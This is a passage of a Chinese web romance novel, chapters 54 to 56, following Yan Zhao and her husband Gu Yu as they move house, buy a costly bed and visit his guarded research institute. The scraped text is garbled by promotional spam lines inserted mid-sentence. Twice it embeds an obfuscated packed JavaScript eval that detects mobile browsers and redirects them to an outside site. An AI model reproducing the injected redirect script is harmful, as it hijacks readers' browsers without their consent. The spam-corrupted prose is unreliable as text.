她张了张嘴，半天才摇头：“……也不是不好闻，挺好闻的……” 第54章 我们需要换一张床 言昭的心情确实好了点。 她也察觉到，顾煜的心情似乎和往常不太一样。 脸上依旧是那种淡淡的笑意，几乎时时刻刻都挂着，可给人感觉不一样，现在他脸上的笑容看着更松一些，也更藏不住情绪。 那种状态，让她整个人都跟着松了下来。 她一边收拾东西，一边随口问了一句：“你今天早上怎么换衣服了？是洗澡了吗？ 这话本来没什么别的意思。 也是因为昨晚两个人一起去了大澡堂，衣服也都提前换过，现在言昭只是顺嘴一问。 顾煜顿了一下。 他微微侧过头，避开了她的视线，语气听起来还算自然：“洗漱的时候不小心弄湿了身上，就换了一件。 言昭“哦了一声，也没再多想。 她低头继续整理包裹，刚才那点小插曲，很快就被她抛在脑后。 屋子里重新恢复了忙碌前的安静，只剩下翻动衣物的细碎声响。 而顾煜站在一旁，神色已经恢复如常，只是唇角那点笑意，始终没散。 下午的时候，顾煜又出门了。 这一次他主动说，是去工作，语气很自然，还特意交代了一句，等他回来就开始搬家，让她在家里好好待着。 言昭点了点头，应得很乖：“你好好工作。 顾煜站在门口，又看了她一眼。 他身上的衣服又换了一次，款式简约，干净利落，整个人看起来比上午更清爽些。 顾煜走过来，把言昭抱了一下，动作很快，力度很轻，也很短。 言昭被他这一抱弄得脸颊发热，站在原地没动，等他松开手出门，她才慢慢回过神来。 她忽然意识到，两人现在的状态，已经和夫妻没什么区别了。 这个念头一冒出来，她自己都觉得有点不好意思，脸上的热度怎么都退不下去。 言昭站了一会儿，才开始在屋里转，检查还有没有什么东西被自己落下。 她又拿着抹布打扫卫生。 这个房子顾煜还是打算卖掉，言昭觉得想要卖个好价格，总得收拾得体面些。 就在她弯腰收拾的时候，门忽然被敲响了。 言昭动作一顿，眉头下意识蹙起。 不会又是什么来找顾煜的人吧？ 她心里闪过这个念头，还是走了过去，没有一下子全开门，只是稍稍拉开了一点缝，往外看。 下一刻，她惊讶了。 门外站着的 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 ，是白玲玲。 白玲玲一看到她，眼睛一下子亮了，情绪几乎是压不住的，往前一步，激动地喊了一声：“言昭姐姐！” 言昭侧身把人让进来，脸上的惊讶还没完全散去：“玲玲怎么来了？” 白玲玲显然有一肚子话要说，可当她走进来看着屋里已经收拾过的痕迹，惊讶问：“言昭姐姐，你这是要搬家吗？” 言昭点了点头，说得很自然：“我男人工作上的事，这里不太方便住。你要是明天来找我，我就已经不在这儿了。” 白玲玲一愣，嘴唇动了动，想问什么，又不知道该不该问，话到了嘴边，还是咽了回去。 言昭看着她。 白玲玲站在那儿，情绪明显有点绷着，眼睛微微发红，像是哭过。 刚才进门时的激动还没完全退下去，这会儿安静下来，那点委屈反倒更明显了。 言昭在大澡堂随口说过一句自己住在筒子楼，一楼也提过几句，可从没说过具体门牌。 白玲玲能摸到这儿来，肯定不是随便路过。 她放下手里的抹布，走近了些，语气放缓：“玲玲，怎么了？” 白玲玲被她这么一问，眼圈更红了，低着头没立刻说话，手指攥着衣角。 言昭本来想给她倒杯热水，可家里的东西几乎都收拾起来了。 她想了想，干脆带着白玲玲出了门。 两人走到不远处的小吃摊子前坐下。 现在言昭手里有点钱了，吃点东西也不再心疼，直接一人要了一碗饺子。 饺子端上来的时候，白玲玲随即低下头就吃，动作又快又急，几乎是狼吞虎咽，像是真的饿了很久。 言昭吃得慢，看到她这个样子，跟着就把自己碗里的饺子夹了不少过去。 白玲玲动作一顿。 下一秒，眼泪就啪嗒啪嗒往下掉，掉进碗里。 言昭这才听她断断续续地说出来。 最近亲戚家给她介绍了个对象，她不愿意。 那几个亲戚嫌她不懂事，说话很难听，把她骂了一顿。 偏偏这阵子她哥哥去了南方进货，人不在家，连个能替她说话的人都没有。 白玲玲说到这里，声音彻底哑了，眼泪止不住地往下掉，肩膀一抽一抽的。 这种家里人介绍对象、逼着处的事，本来就是长辈最爱干的。 可在言昭看来，白玲玲的哥哥还在呢，就越过他去做这些事，怎么都说不过去。 她心里替白玲玲不平，可又 听说看这本书的人都是很幸运的，分享后你的运气会更棒 确实有点为难。 现在自己正要搬家，事情一堆，一时也想不到什么更好的法子。 言昭从口袋里拿出手帕，递过去，替她擦了擦眼泪：“这种事别跟他们正面吵。 白玲玲抬头看她，眼睛红得厉害。 言昭继续说：“你先忍一忍，等你哥哥回来就好了。他回来，总会替你说话的。 白玲玲攥着纸巾，点了点头。 言昭想了想，又开口说：“大澡堂现在是能留宿的，但你一个姑娘家在外面住，总归不好。 她咬咬牙，“这样吧，你哥哥过两天就回来了，这几天你先住我这儿。就是家里没多余的被子，需要你回去拿一床被子过来。 白玲玲一听，感动的眼泪反而掉得更凶了，连连摆手：“不用不用，言昭姐姐，我回去住就好了，真的不用麻烦你。 言昭摇了摇头，语气很稳：“你也是个好姑娘。我看得出来，那些亲戚就是趁你哥哥不在，才敢逼你。你现在回去，他们肯定还会找你。 白玲玲咬着唇，低着头没说话，眼泪一颗一颗往下掉。 言昭伸手拍了拍她的手，声音放轻了些：“反正我搬走这房子也空着，现在也没卖。你就在我这儿住几天，等你哥哥回来再说，别去人多不安全的地方。 言昭其实也是在替自己考虑。 这房子要卖，院子里已经有人开始打听，问能不能先住几天。 她清楚的很，这人住进来，再想请出去就难了，更别说后面还要正经卖房。 再说了，等到时卖房，自己要是有什么事回不来，白玲玲能自己开门也方便。 在她的催促下，白玲玲回去抱被子过来。 就在这时候，院子里有人走过来搭话，显然是没见过白玲玲，目光在两人身上转了转。 言昭很自然地开口介绍：“我妹妹。 那人一听，笑了起来：“哦，妹妹啊，是住在这吗？我还想着，能不能借你这房子住几天呢。 言昭也笑了笑：“大婶子可说晚了，我已经让我大妹子住下了。 那妇人脸上还有点不甘心，嘴上没停：“你这房子这么大，我让下乡回来的儿子在外面搭块板子住住呗？就几天。 言昭脸上的笑意慢慢收了。 “我妹子住在这儿，让你儿子住进来？那我妹子的名声还要不要了？她故作惊讶反问了一句：“还是说，大婶子家里随便？难不成你女儿出去，也是跟别的男人睡一间？ 这话一出， 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 周围立刻安静了。 那妇人脸色一阵青一阵白，嘴唇动了动，半天没憋出一句话，最后只能讪讪地哼了一声，转身走了。 四周站着的几个人都惊讶她这么会怼人。 在他们印象里，言昭一向是柔柔的，说话不急不躁，看着好说话得很。 再加上她平时总跟在顾煜身边，看起来总被欺负的样子。 …… 顾煜下午回来得很早，外头天色还亮着。 他一进院子，目光扫了一圈，脚步在门口顿了一下。 屋里多了个人。 白玲玲正坐在一旁，明显有点拘谨。 顾煜眉目微微蹙起，显然没太明白，自家怎么会突然多出个外人。 言昭反应很快，立刻走过去，小声把事情简单说了一遍，从白玲玲被亲戚逼着相看对象，说到她哥哥不在家，这几天暂时住过来。 顾煜听完，只是淡淡“嗯”了一声。 情绪不多，也没追问，连多余的评价都懒得给。 白玲玲之前几次都没看清言昭姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338023|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的对象，这一回是真看清了，整个人直接愣在那儿。 人帅得有点过分。 五官清清楚楚，个子高，眉骨长得正，眼睛耐看，唇形干脆，脸型硬朗又好看，一点不女气。 人往那一站，什么都不用做，就特别扎眼，像是自个儿带着亮儿。 和她平时见过的那些男人，根本不是一个世界的。 白玲玲心里一跳，下意识坐得更直了，连呼吸都放轻了些。 还没说上两句话，门就被敲响了。 下一秒，三个男人直接走了进来，看到言昭张口就是一句：“嫂子。” 言昭一愣，下意识应了一声，人还没反应过来，那几个人已经开始动手。 桌子、包裹、箱子，一样样往外搬，配合得极熟，显然不是第一次干这种事。 屋子一下子就空了。 顾煜走过来，牵住言昭的手，低声说了句：“走吧。” 言昭被他牵着往外走，只来得及回头叮嘱白玲玲：“你先在这儿好好住着，门记得锁好，我忙完就过来看你。” 白玲玲连忙点头，抱着被子站在门口，看着他们，眼睛亮亮的，又有点不舍。 很快，屋里就只剩下她一个人。 而言昭被顾煜牵着，跟着那些人一起出了院子。 外头阳光正好。 搬家的时候，用的还是那辆四轮车。 车一进院子，动静就不小 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 ，筒子楼里差不多的人都出来看了。 大家原本只当言昭是换个地方住，结果一看这阵仗，又有人帮忙，又有车的，眼神立马就变了。 能在京市用四轮车搬家的，可不是一般人。 言昭被顾煜牵着站在一旁，周围的视线落在她身上，她多少有点不自在。 李婶子和王婶子凑了过来，脸上都是舍不得。 王婶子叹着气：“这才住多久啊，就要走了。” 李婶子更是拉着她的手不松，嘴上念叨个不停：“你这一走，我这心里还真空落落的。” 言昭陪着两人说了一会儿话。 说到酱料的事，她解释：“婶子，方子的事情得等几天。” 李婶子一听，立马点头：“不急不急，你先忙你的，咱们说好了就行。” 等到东西一件件往车上搬，院子慢慢空了。 言昭站在那儿，看着熟悉的地方一点点被搬空，心里说不上是什么滋味。 虽然在这住的不久，但这里到底是她第一次安家的地方。 等到最后一趟，她才跟两位婶子道了别，上了车。 车子发动的时候，筒子楼的人还站在原地看着。 啧啧了一声：“人家去过好日子去咯。” 对言昭说的男人工作才走，大家都觉得是去过好日子去了。 就算远，买辆自行车不就行了？ 谁会把刚买的房子卖掉啊？ …… 等东西一件件搬进新家，言昭站在客厅里愣了一下。 刚才在筒子楼还觉得包裹不少，箱子也沉，这会儿全摆进来，反倒显得空荡荡的。 两层的小洋楼，一下子把那点家当衬得可怜巴巴的。 她回过神来，赶紧去翻兜，想着给那几个搬家的塞点钱，让人家去吃顿好的。 结果一转身，人已经走得干干净净，连个影子都没留。 她愣了一下，下意识看向顾煜。 顾煜站在一旁笑了笑说：“没事，他们不会在意。” 言昭开始一间一间地看房间。 她眼睛亮着，明显有点兴奋。 顾煜一直站在旁边，没有出声。 他就那样看着她，看她在屋子里转来转去，看她偶尔停下来摸摸窗框，又低头整理东西，脸上那点藏不住的开心一下一下冒出来。 等言昭把东西放好，心里的激动慢慢平复下来，才忽然察觉到不对。 她一抬头，就发现顾煜一直在看自己。 目光落得很稳，没有避开。 言昭愣了一下，下意识问：“你看我干什么？” 顾煜这才动了动，唇角勾了一点很浅的笑意，语气还很平常：“看你高兴。” 言昭被他说得一怔，脸颊慢慢热起来，转过身去继续收拾东西。 顾煜目光来到眼前的床，他歪了一下脑袋说：“我们需要换一张床。” 第55章 我会忍不住对你做些什么 言昭行李都还没来得及拆出来，就被顾煜拉着出了门。 她本来觉得家里家具挺齐全的，桌子椅子柜子都有，凑合着也能用。 结果顾煜一句话就给她堵回去了。 “那张床不行。” 他说得很直接，语气甚至有点嫌弃：“不干净，谁知道之前有什么人在上面干过什么，必须换新的。” 言昭一愣，下意识想反驳，可话到嘴边又咽了回去。 她被他拉着走，脑子里已经不自觉顺着那句话想了一下，脸颊微微发热，干脆不吭声了。 于是，她现在就站在百货大楼里。 一排排床摆在那里，看着都挺好看，木头颜色也不一样，款式也不一样。 每一个摸上去都很结实。 可言昭一看价格，心里就开始发虚。 一张床，除了要一张工业票，还要一百八十块钱。 言昭站在那儿，忍不住多问了两下价格，确认了一遍，确定自己没听错。 就这么一张床。 一百八。 这要是在乡下，请木匠打一张床，二三十就够了，好一点的，四五十顶天了。 顾煜站在她旁边，神色很平静，目光在那张床上来回看着，明显是在认真挑。 言昭看着他这副一点都不心疼钱的样子，心里那点犹豫慢慢散了。 她转念一想，这钱本来就是顾煜赚的，而且床这种东西确实重要。 他每天那么累，要是睡得不好，身体哪受得住。 这么一想，她自己就把自己说服了。 最后，顾煜挑了一张床。 床有点高，床架结实，雕着花纹，样式不张扬，但一看就很贵重，颜色偏深，放在那一排床里，很扎眼。 他看了一会儿，直接定了这张。 然后，他转头对言昭说：“昭昭，我们躺一下试试。” 言昭就被他拉着一起躺下。 床面很宽，比她想象中要大不少，人躺上去，不会有那种挤在一起的局促感。 她有点喜欢这个床了。 只不过自己还以为他会喜欢小一点的床。 等到价钱一报出来，言昭还是忍不住在心里轻轻吸了口气。 要四百二十块钱。 比前面看的还要贵。 顾煜侧头看了她一眼，像是在等她开口。 言昭自然是什么都没说只是安静地坐起来，把床单理了一下。 顾煜笑了笑，语气带着点调子：“ 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 昭昭付钱吧。” 言昭点了点头：“好。” 站在一旁给顾煜介绍了半天的男人整个人都愣住了眼睛在两人之间来回看了好几次。 女的付钱？ 他张了张嘴最后才憋出一句：“……那我给你们开票？” 顾煜“嗯”了一声。 言昭已经从包里把钱拿出来了。 四张一百的钞票叠得整整齐齐 她递过去的时候周围一下子安静了几秒旁边几个店员都忍不住凑过来看了一眼。 毕竟能买到这种床的人不多更别说是用这么多钱买百货大楼里很贵的床。 收钱的男人接过去手都下意识放轻了点反复数了两遍又低头确认票态度明显比刚才更客气了。 言昭站在那儿脸上没什么得意的神色只是觉得心口有点热。 不是心疼钱。 而是她靠着顾煜在这装有钱人让她胸口发热。 顾煜站在她身侧看着她付完钱伸手把票据接过去顺势牵了牵她的手低声说了句：“走吧。” 这么贵的床自然是会送货到家不用两人操心。 言昭点头应了一声被他牵着往外走。 身后还有人小声议论说这两口子是真舍得。 言昭原以为这下总该回家了。 结果顾煜脚步一转又把她往卖衣服的那一层带。 言昭一下子急了伸手拽住他：“不用买了我衣服真的够穿了现在都穿不过来。” 顾煜低头看了她一眼语气没有半点商量的余地：“不行。” 她还想再说他已经牵着她继续往前走直接把她的拒绝当成没听见。 百货大楼里人不少一排排衣服挂着看得人眼花。 顾煜挑得很快也不问她喜不喜欢只要看着顺眼就让人包起来。 言昭站在旁边眼看着衣服越堆越多心里直发虚又拦不住。 就在这时旁边忽然传来一声带着惊讶的招呼。 “顾教授？” 言昭一抬头就看到四个人走过来两男两女看着都很精神。 几个人的目光先落在顾煜身上显然没想到会在这儿碰见他。 下一秒视线齐刷刷转到言昭身上。 那种惊讶比刚才还明显。 几个人对视了一眼又看了看两人牵着的手还有顾煜提着的一堆衣服表情一时都有点微妙。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 其中一个女人率先反应过来笑着开口：“顾教授这位是……？” 顾煜脸色很自然手也没松语气平淡：“我爱人。” 这一句出来空气像是静了一瞬。 那几个人明显愣了下随即表情全变了惊讶里多了点恍然又夹着点说不清的意味。 言昭被这么多目光看着脸颊微微发热下意识往顾煜那边靠了靠。 …… 餐厅是西式的。 言昭没想到自己还会再来这种地方上一次在这种餐厅吃饭留下的记忆并不愉快。 那时候她坐得浑身不自在连刀叉都不知道该怎么放。 现在她坐在顾煜身边。 对面坐着的是刚才遇到的那四个男男女女。 言昭本以为能回家现在竟然会被一块儿带来吃饭还是吃洋人的饭。 椅子一坐下她背就不自觉挺直了手指攥着裙角。 要是自己做错了什么给顾煜丢人怎么办？ 这个念头刚冒出来侍者已经把牛排端了上来。 言昭还没来得及看清盘子里的东西顾煜已经把他那份牛排一块一块切好然后把盘子跟她面前的换。 “昭昭吃吧。”他说。 言昭下意识看了他一眼又低头看盘子。 她什么都不用管只要用叉子把切好的牛排一块一块送进嘴里就行。 这个再普通不过的互动却让对面那四个人全都停住了。 有人叉子悬在半空有人杯子都忘了放下目光不约而同地落在顾煜身上又落到言昭身上。 一时间餐桌上安静得有点过分。 他们不是没见过人照顾人。 可他们见过的顾煜从来不是这样的。 单位里顾煜来得时间不算长但名声早就传开了。 话少脸冷做事利落到近乎不近人情对谁都一副公事公办的样子。 这样的人居然会有这么温柔的一面。 言昭没注意到对面的反应她低头吃了一口只觉得牛肉很好吃心里那点紧张不知不觉就散了些。 这四个人心里还在惊讶。 顾煜年纪不大在单位里却是实打实被喊“顾教授”的人。 他们是早就知道顾教授结婚了但一直没见过真人 可真见到了还是忍不住吃惊。 人是真的好看坐在那儿安安静静的眉眼柔和可 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 不是那种张扬的漂亮。 只是再一细看，又隐约觉得她的年纪，好像比顾煜要大一点。 这点细微的差别，让几个人心里同时冒出了一个念头。 他们之前确实听过一些风言风语。 说顾教授这个爱人，是家里给安排的，是那种传统的包办婚姻。 没什么感情基础，人也不是什么城里出身，大概就是合适、能过日子那一类。 可现在再看。 顾煜坐在那儿，话不多，神色淡，可每一个细节都在她身上。 水杯放在她顺手的位置，牛排切好，连她一停下叉子，他的目光都会不自觉地落过去一瞬。 这哪像是随便娶的，分明喜欢的要命。 言昭就安安静静地吃着。 他们聊的内容，她大多听不太懂，夹杂着不少生涩的词，她也没往心里去。 本来就不是爱插话的性子，索性低头吃饭，偶尔抿一口水，神色安静又乖。 她的注意力跟着慢慢落在了顾煜身上。 顾煜在跟那四个人解释问题时，语气冷静，话不多，但是句句都好像在点上。 偶尔点头示意，目光淡淡扫过去，落在对方脸上时，自带一股让人不敢敷衍的压迫感。 和在她面前，完全不一样。 在她身边，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338024|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话总会放慢几分，语气也收着，连看她的眼神都软下来。 言昭一边吃，一边看着。 这个反差，让她心口轻轻动了一下。 她低头又吃了一口，唇角却不自觉弯了弯。 严肃起来的人，还是那么好看。 她正走神，身侧忽然有了动静。 顾煜没看她，只是顺手把她面前的杯子挪过来，给她倒了点果汁，又抽了两张纸，放进她手里。 动作很自然。 言昭愣了一下，低头看着手里的纸，又抬头看了他一眼。 他还在听对面的人说话，神色冷静，语气淡淡，像是刚才那点照顾只是随手为之。 言昭握着那两张纸，指尖慢慢热起来。 …… 吃完饭，言昭觉得自己终于可以回家了。 哪知道顾煜要带她去他工作的地方。 言昭一愣，立刻摇头：“你忙你的就好，我回去就行了。家里一堆东西还没收拾，床也要送到，我得在回去开门…… 顾煜也跟着摇头，笑着说：“家里的东西太多，两个人整理快一点。床送到门口会有人帮忙搬进去，不用咱们盯着 你的朋友正在书荒，快去帮帮他吧 。而且你不是一直想知道我平时在做什么吗？今天正好，带你去看看。” 言昭看他是认真的，而且那四个人还站在不远处等着两人过去。 她唇瓣动了动，小声问：“我……我能去吗？不好吧？” 现在言昭算是知道顾煜在国家单位干活，她这个没读过什么书的人，感觉厚脸皮过去有点不好。 顾煜看着她，看出她又在自卑，他俯下身说道：“我说过，你要是又低头，露出可怜的模样，我会忍不住对你做些什么。” 言昭现在是听得懂他这话的。 那点话音一落，她脸颊“腾”地一下就红了，从耳根一路烧到脖子。 她又羞又恼，下意识瞪了他一眼，压低声音：“你胡说什么呢。” 一点气势都没有。 顾煜被她这一眼瞪得心情明显更好，唇角扬起，低低笑了一声，也没再继续逗她，只是伸手在她脑袋上轻轻揉搓。 这一幕落在不远处那四个人眼里，却完全变了样。 他们只看见—— 顾煜的爱人忽然像是被惹到了，脸色一变，像是在生气。 而顾煜立刻低头凑过去，说了句什么，语气明显放软。 下一秒，他那位爱人就红了脸，别开视线。 四个人你看看我，我看看你，心里齐刷刷冒出一个结论。 顾教授在哄人。 而且哄得还挺熟练。 有人默默移开目光，有人忍不住轻咳一声，假装什么都没看见。 …… 言昭最后还是跟着顾煜来了。 车子越开越偏，窗外的建筑慢慢少了下去，取而代之的是一片连着一片的树林。 等车停下来的时候，是一片森林。 入口处很显眼，有人站岗，穿着军装，身形笔直。 车子一停，对方先看了眼顾煜，随即抬手行礼，才放行。 言昭跟着顾煜下车，脚踩在地上的那一刻，才发现里面的地方比外头看着还大。 建筑一栋一栋分散着，间距很开。 里面不少人来来往往。 而且几乎每一个看见顾煜的人，都会停下来。 有人行礼，有人点头，有人直接开口喊：“顾教授。” 一声声落在耳边，阵势明显得很。 言昭下意识往顾煜身边靠了靠，背都绷直了。 她不喜欢被这么多目光看着，现在每一步也都踩得不太踏实。 顾煜像是察觉到了她的紧张，脚步慢了半拍，侧头看了她一眼，低声说：“昭昭，有我在，你可以放松点。” 言昭点头。 她心里对顾煜的工作，其实也有点好奇。 原以为会看到很厉害的工作，跟着他就是来到一间很像学校教室的房间。 桌椅整齐地摆着，一排一排，里面已经坐满了人。 就在顾煜走进门的那一瞬间，原本还有些细碎声音的房间，几乎是同时安静了下来。 所有人的目光都抬了起来，齐齐看向门口。 有人立刻坐直，有人把手里的笔放下，还有人下意识挺了挺背。 顾煜神色如常，明显早就习惯了这种场面。 第56章 顾煜又失控了 言昭站在门口，看了一眼屋里的情形，心里立刻就打起了退堂鼓。 她几乎一眼就看见了—— 第一排正中间，空着一个位置。 不用想也知道，顾煜要是真把她带进去，肯定就是那个位置。 她头皮一紧，立马压低声音说：“你先忙吧，我……我在外面逛逛就好。” 话音刚落，顾煜眨了下眼，显然已经猜到她在想什么，抬手就要牵她进去。 言昭反应比他快。 她转身就跑。 不是大跑特跑，而是那种很快地溜开，跑到不远处停下，还特意回头看了一眼，确保他抓不到自己。 顾煜：“？？？” 他站在原地，愣了一瞬，随即没忍住笑了出来。 那笑意来得很突然，连他自己都没压住。 他只能站在门口，低声叮嘱了一句：“别乱跑。” 言昭立刻用力点头，点得特别认真，“好！” 而顾煜那一瞬间被她弄得无奈又纵容的一笑，清清楚楚地落进了教室里所有人的眼里。 一时间，没人说话。 刚才还坐得笔直的一群人，表情却齐刷刷变了。 有人下意识看了眼门口，又看了看顾煜，像是怀疑自己是不是看错了。 那可是顾教授。 平时站在讲台上，神色冷静，语气冷淡，说一句话都不带多余情绪的人。 现在居然会露出这种拿人没办法，又宠溺无奈的表情。 他们感叹，原来再厉害、再被捧得高的人，在感情上也一样。 也会被对象拿捏，被吃得死死的。 教室里很快重新安静下来，顾煜已经收敛了表情，像是什么都没发生过一样，走到前面开始讲正事。 走出来的言昭也不敢乱逛。 她从那栋建筑里出来，顺着小路往外走了几步。 树影下有人站着说话，有人抱着文件匆匆走过。 不少人注意到了她。 目光落过来的时候，都带着点善意，有的还冲她笑了笑，有的还点头打了个招呼。 言昭也跟着点头回应。 只是，她也确实不知道该往哪去。 地方太大了，路分得又多，每一栋楼看起来都差不多，她也不敢随便进。 走了一会儿，她索性停下脚步，打算找个没什么人的地方坐一会儿，等顾煜忙完再说。 她往林子深一点的方向走了几步，看到不远处有个湖泊，旁边是一 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 排长椅。 言昭松了口气，走过去坐下。 她靠在椅背上，终于放松下来，心跳也慢慢稳住了。 言昭觉得顾煜干的事情真的是神秘，又厉害。 那些人对他的态度，还有他一出现就改变的氛围，都不是常人能接触到的。 就每次坐的那个四轮车，顾煜说是小汽车，她上辈子就没见过。 言昭跟着想到刚才那间教室，想到那些已经很厉害的人，依旧老老实实坐在那里听课、记笔记，心里忽然有点发紧。 连这样的人，都还在学。 她也要好好读书！ 不是为了别的。 现在她跟顾煜已经有了夫妻之实，那就不能拖他后腿！ 言昭正坐在那儿发呆，目光落在湖面上。 水很静，偶尔有风吹过，才起一点细碎的波纹。 她脑子里乱七八糟地想着读书、想着顾煜的工作。 突然她就听到一些声音，好像是在吵架。 言昭就看到不远处有几个人在推搡着一个男人。 被欺负的那个人提着一个背篓，手里还拿着一把很长的镊子，虽然手上有东西，但他还是没举起来，只是跟那两个人说什么。 言昭本不想掺和，但是她觉得那人眼熟，直接喊了一声：“白策？” 白策听见声音，侧头看来，另外两个男人实现也看了过来。 那两个人一看到言昭，几乎是下意识地倒打一耙，其中一个立刻指着白策，语气又急又冲：“好啊白策，你还敢带外人进来！你行啊，这地方是你能随便带人的？我这就去跟主管说！” 另一个站在旁边，一脸看热闹不嫌事大的样子，咧嘴笑了笑：“旭哥，刚刚他不是还挺横的吗？我还以为多有底气呢，原来是在这藏着人啊。” 这话一出来，意思已经很明显了。 言昭一听就明白他们误会到哪去了。 她根本不是跟白策一起来的。 可这两个人显然没打算听她解释。 其中一个直接伸手，要把言昭往前拽：“走，一起去说清楚。” 言昭脸色一冷，立刻甩开他的手，语气压得很稳：“我不是跟他过来的，还有我会跟你们去，请你们不要碰我！” 那人被她甩了一下，脸上有点挂不住，语气反而更冲了：“你脸皮真够厚啊，还在这装什么清白。” 另一人也往前凑了一步，带着点刻意的挤压意味。 白策见状，下意识就挡到了言昭前面，手臂 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 一抬把人护在身后语气明显急了：“她不是跟我一起来的 这一挡、一护落在那两个人眼里反而坐实了他们的猜测。 言昭只觉得丢人是真的丢人。 她本来只是被顾煜带过来看看他工作的地方坐一会儿等他忙完结果转眼就被人当成偷摸混进来的可疑分子还连累了白策。 她想着解释这两个人根本不是要听解释明显就是想要搞白策。 自己再解释他们也只会当她狡辩。 言昭没再挣扎也没再多说什么只是跟着他们去见主管想着当着管事的人把事情说清楚就行。 结果刚进办公室她还没来得及开口那主管抬头一看她脸色先沉了下来。 尤其是她说了一句：“我是跟我男人一起来的他在这里工作”。 这人直接就炸了毛。 “你给老子好好说话。”主管猛地拍了下桌子语气又冲又不耐烦：“你男人在这工作？你以为这里是哪里？” 话音一落他的手指直接指向白策脸色更难看了。 “你这个临时工我跟你说过多少次了？在这干活不允许多问多说也不能跟家里人透露半句！你倒好还敢把人带到这里来！” 白策的脸一下子白了。 言昭站在一旁只觉得胸口一阵发闷。 主管直接对着那两个人说：“去把保卫科的人叫过来。” 这两个人立马转身走出去。 但是白策脸色瞬间变了。 他几乎是立刻往前走了一步低下头声音压得很低：“对不起是我的错是我没守规矩下次不会了真的不会了。” 可那主管连看都没多看他一眼还抬脚狠狠踹在白策腿上。 力道不小白策猝不及防整个人踉跄了一下膝盖几乎跪下去手里的背篓“哐当”一声撞在地上。 言昭眼睛一下子就瞪圆了。 她往前一步声音一下拔高：“你这还动手打人的是吧？！” 主管慢慢收回脚像是听到了什么好笑的话“我打了怎么了？” 那笑意里带着明显的轻蔑。 保卫科的人很快就来了还跟着一位看起来就很严肃的男人一进门屋里的气压都跟着低了下来。 刚才还嚣张的主管脸色瞬间变了腰都弯了几分连忙迎上去点头哈腰：“王博士您怎么来了？” 那位被称作王博士 你的朋友正在书荒，快去帮帮他吧 的人脸色很不好看语气沉着：“我听说有外人进来了。” 这话一出主管后背立马冒汗赶紧解释：“没有没有他们没进核心区域就是在边缘活动了一下我这正处理呢。” 他说得又快又急生怕被误会。 王博士目光已经来到白策身上。 白策下意识站直了身体脸色发白一句话都没敢说。 紧接着这道目光移开落在了言昭身上。 王博士怔了怔随即脸上的严肃松开带上了点惊讶跟和善：“言昭同志你怎么在这儿呀？” 这一句话出来屋里所有人都愣住了。 刚才还气焰嚣张的主管明显没想到王博士会认识言昭 站在一旁原本幸灾乐祸的那两个人也同时噤了声神色发虚起来。 白策愣在原地也是惊讶。 言昭看到王博士认出自己心口这才松了一下。 她连忙开口解释语速都快了几分：“我本来是在湖边坐着等顾煜结束工作的。正好看见熟人就喊了一句结果他们就说我是坏分子非说我是偷摸进来的把我和我朋友一起拉到这儿来说要抓走！” 她说到这儿故意吸了口气语气里带了点后怕的样子。 “而且这个主管还动手打人我真的吓坏了要不是您过来我都不知道接下来会怎么样。” 这话一落主管的脸色彻底变了额头隐约冒汗。 王博士这下是真的动了怒。 他脸色一沉声音压得很低但带着明显的威压直接冲着那名主管喝了一句： “这是顾煜教授的爱人！顾煜教授是为国家出力的人是我们这边重点留下来的专家怎么可能是什么坏分子？” 王博士目光冷厉“你现在给我老老实实交代到底是怎么回事！” 那两个刚才还嚣张的人明显愣住了。 他们不认识顾煜只是因为转正名额只有两个这个白策干活卖力的很幸好主管也看不惯他才搞事。 那名主管认识顾煜。 也是这段时间下面不少新人私下抱怨过说顾教授讲的内容太深、节奏太快一堂教学下来脑子都转不过来。 没想到这个女人竟然是的顾教授的爱人…… 主管脸色瞬间惨白额头冷汗直往下冒双腿甚至有点发软。 他张了张嘴想解释可发现嗓子干得发不出声。 你的朋友正在书荒，快去帮帮他吧 这时门外忽然被人急促地敲响。 敲门的人语气很急几乎是喊出来的：“现在有紧急情况！有空的都跟我来！” 那主管像是抓到了救命稻草几乎是条件反射地转身连连应声：“有空有空！我现在就有空发生什么事情了？” 那人语气着急：“顾教授的爱人不见了可能往危险区域那边走了现在找不到人顾教授那边已经急疯了。” 这句话一落屋里的空气像是被抽空了一样。 那名主管刚迈出去的脚硬生生顿在原地整个人像是被人当头砸了一棒脸色一片灰白。 言昭站在原地还没反应过来就听见“顾煜快疯了”这几个字。 她赶紧说：“我在这！” 那人看到言昭瞬间松口气他蹲在地上说：“嫂子你在这啊……” 另一边。 顾煜站在警戒线前脸色已经彻底变了。 那片区域刚被临时封控红绳拉得笔直旁边站着两名保卫人员语气强硬地拦着不让进。 “顾教授前面是危险区真的不能过去。” 顾煜像是没听见。 他视线死死盯着前方呼吸乱得不成样子指节绷得发白还是想往里走。 保卫人员连忙伸手拦住。 “顾教授！真的不能进——” 